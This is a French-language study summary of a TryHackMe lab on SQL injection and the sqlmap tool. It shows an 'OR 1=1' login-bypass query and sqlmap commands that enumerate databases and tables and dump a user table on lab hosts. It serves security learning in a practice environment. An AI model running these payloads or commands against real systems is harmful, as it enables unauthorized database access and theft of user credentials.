Spaghetih

🐍 SQLMap – Introduction aux Injections SQL

Ce document est une synthĂšse du module SQLMap: The Basics de TryHackMe, rĂ©digĂ©e en français. Il couvre les bases des injections SQL, l’utilisation de l’outil SQLMap et propose un exercice pratique.


🎯 Objectifs d’apprentissage


🧠 Introduction aux Injections SQL

Une injection SQL est une technique d’attaque qui permet Ă  un attaquant d’interfĂ©rer avec les requĂȘtes SQL que l’application envoie Ă  sa base de donnĂ©es.

Par exemple, une requĂȘte classique de connexion pourrait ressembler Ă  :

SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';

Un attaquant pourrait manipuler cette requĂȘte en entrant :

Ce qui transformerait la requĂȘte en :

SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';

L’opĂ©rateur OR 1=1 est toujours vrai, permettant ainsi Ă  l’attaquant d’accĂ©der sans connaĂźtre le mot de passe rĂ©el.


đŸ› ïž Utilisation de SQLMap

SQLMap est un outil en ligne de commande qui automatise le processus de dĂ©tection et d’exploitation des vulnĂ©rabilitĂ©s d’injection SQL.

🔍 Tester une URL vulnĂ©rable

Pour tester une URL, utilisez la commande suivante :

sqlmap -u "http://sqlmaptesting.thm/search?cat=1" --dbs

📋 Extraire des tables d’une base de donnĂ©es

Pour extraire les tables de la base de données members :

sqlmap -u "http://sqlmaptesting.thm/search?cat=1" -D members --tables

đŸ§Ș Exercice Pratique

  1. DĂ©marrer la machine virtuelle et accĂ©der Ă  la page de connexion Ă  l’adresse :

    http://MACHINE_IP/ai/login
    
  2. Soumettre des identifiants fictifs pour capturer la requĂȘte GET, par exemple :

    • Email : test
    • Mot de passe : test
  3. Observer la requĂȘte GET rĂ©sultante, qui devrait ressembler Ă  :

    http://MACHINE_IP/ai/includes/user_login?email=test&password=test
    
  4. Utiliser SQLMap pour tester la vulnérabilité :

    sqlmap -u "http://MACHINE_IP/ai/includes/user_login?email=test&password=test" --level=5
    
    • --level=5 : Augmente la profondeur des tests effectuĂ©s
  5. Répondre aux invites de SQLMap :

    • Ignorer les tests pour d’autres SGBD : y
    • Inclure tous les tests spĂ©cifiques Ă  MySQL : y
    • Tester d’autres paramĂštres si email est vulnĂ©rable : n
  6. Une fois la vulnérabilité confirmée, utiliser les commandes suivantes pour explorer la base de données :

    • Lister les bases de donnĂ©es :

      sqlmap -u "http://MACHINE_IP/ai/includes/user_login?email=test&password=test" --dbs
      
    • Lister les tables de la base ai :

      sqlmap -u "http://MACHINE_IP/ai/includes/user_login?email=test&password=test" -D ai --tables
      
    • Extraire les donnĂ©es de la table user :

      sqlmap -u "http://MACHINE_IP/ai/includes/user_login?email=test&password=test" -D ai -T user --dump
      

🧠 Concepts ClĂ©s